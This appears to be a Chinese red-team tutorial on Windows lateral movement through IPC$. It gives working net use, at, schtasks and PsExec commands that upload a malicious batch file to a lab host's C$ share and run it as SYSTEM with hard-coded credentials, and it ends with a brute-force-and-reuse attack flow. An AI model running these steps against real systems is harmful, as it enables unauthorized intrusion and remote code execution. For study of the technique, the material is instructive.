IPC$
IPC$ (Internet Process Connection) 是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用
常见端口:139、445
IPC$ 基本用法
# IPC$ 连接
net use \\192.168.52.138\ipc$ # 建立空连接
net use \\192.168.52.138\ipc$ "password" /user:"Administrator" # 建立非空连接
# IPC$ 使用
net use # 查看本机建立的连接(本机连接其他机器)
net session # 查看本机建立的连接(其他机器连接的本机),需要administrator用户执行
net share # 查看本地开启的共享
net share ipc$ # 开启ipc$共享
net share ipc$ /del # 删除ipc$共享
net share admin$ /del # 删除admin$共享
net share c$ /del # 删除C盘共享
net use * /del # 删除所有连接
# IPC$ 连接建立之后的操作
dir \\192.168.52.138\c$ # 列出目标文件目录
copy C:\\Users\Administrator\Desktop\whatever.exe \\192.168.52.138\c$ # 将文件复制到目标C盘下
type \\192.168.52.138\c$\result.txt # 查看目标C盘下result.txt文件内容
net use h: \\192.168.52.138\c$ # 磁盘映射,将目标的 C 盘映射到本地的 H 盘
net use h: /del # 删除磁盘映射
net use
查看已建立的连接,如果已建立且状态为OK的话那么我们后面执行就不需要密码了
net session
查看别的机器连接的本机器,需要 Administrator 来执行,这里可以看到 STU1 创建了 IPC$ 连接连到了本机
如果是非 Administrator 执行之后会拒绝访问
net share
查看本地开启的分享
磁盘映射
net use h: \\192.168.52.138\c$ # 磁盘映射
net use h: /del # 删除磁盘映射
IPC$ 与 空连接
空连接即代表我们不需要账号密码就能建立一个 IPC$ 连接,但是空连接的权限是非常低的,基本做不了什么,从下面的例子中可看出执行一些列出目录的操作都是没有权限的,所以还是利用用户名密码登陆吧 (弱口令爆破、利用本机抓出来的密码去密码复用)
空连接创建命令
net use \\192.168.52.141\ipc$
net use \\192.168.52.141\ipc$ /u:"" ""
net use \\192.168.52.141 /u:"" ""
可以看到成功创建了空连接
但是空连接权限往往比较低,可以看到这里通过 shell dir 是拒绝访问的
ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
常见错误代码
错误号5:拒绝访问
错误号51:Windows无法找到网络路径,及网络中存在问题
错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动,目标防火墙过滤了端口
错误号67:找不到网络名,包括 lanmanworkstation 服务未启动,IPC$已被删除
错误号1219:提供的凭据与已存在的凭据集冲突。例如已经和目标建立了IPC$连接,需要在删除后重新连接
错误号1326:未知的用户名或错误的密码
错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
错误号2242:此用户的密码已经过期。
at & schtasks 使用
单依靠 IPC$ 是无法完成横向的,所以我们需要借助 at 和 schtasks 这两个计划任务命令
ps: Windows Server 2012 以后的版本没有at命令,只有schtasks命令
at
利用过程如下:
# 执行命令到 result.txt
net time \\192.168.52.141 # 查看时间
at \\192.168.52.141 10:30 cmd.exe /c "whoami > c:\result.txt" # 结果输出到 result 下
type \\192.168.52.141\c$\result.txt # 查看执行结果
at \\192.168.52.141 1 /delete # 删除计划任务
copy hack.bat \\192.168.52.141\c$\Windows\Temp # 上传 bat 脚本
net time \\192.168.52.141 # 查看时间
at \\192.168.52.138 19:48 c:\Windows\Temp\hack.bat # 创建定时任务
at \\192.168.1.5 # 查看任务列表
通过 at 创建计划任务将需要执行的命令添加到 result.txt
计划任务执行之后会将命令执行的结果写到 c:\ 下的 result.txt 文件中
执行之后将计划任务进行删除 ,这里的 1 为创建时的作业 ID
schtasks
copy C:\Users\Administrator\Desktop\hack.bat \\192.168.52.138\c$\Windows\Temp
schtasks /create /tn hack /tr C:\Windows\Temp\hack.bat /sc ONSTART /s 192.168.52.138 /ru "system" /u administrator /p Abc123456!
schtasks /run /tn hackk /s 192.168.52.138
type \\192.168.52.138\c$\Windows\Temp\result.txt
schtasks /delete /s 192.168.52.138 /u administrator /p Abc123456! /tn hackk /f
首先利用 ipc 将我们的恶意 bat 传上去
然后通过 Schtasks 来创建计划任务
通过命令直接运行计划任务
成功执行bat并将命令写到 txt 中
最后删除计划任务
PsExec
利用 PsExec 来进行命令执行
PsExec.exe \\192.168.52.138 cmd -u Administrator -p Abc123456!
我们也可以利用 cs 中的 psexec 来实现 cs 上线,smb Beacon
攻击流程
1.利用超级弱口令等扫描器扫描爆破指定端口 or 抓去密码之后进行密码复用
2.拷贝需要执行的脚本到目标机器
3.创建计划任务 (at、schtasks) 进行定时执行
4.删除 IPC 链接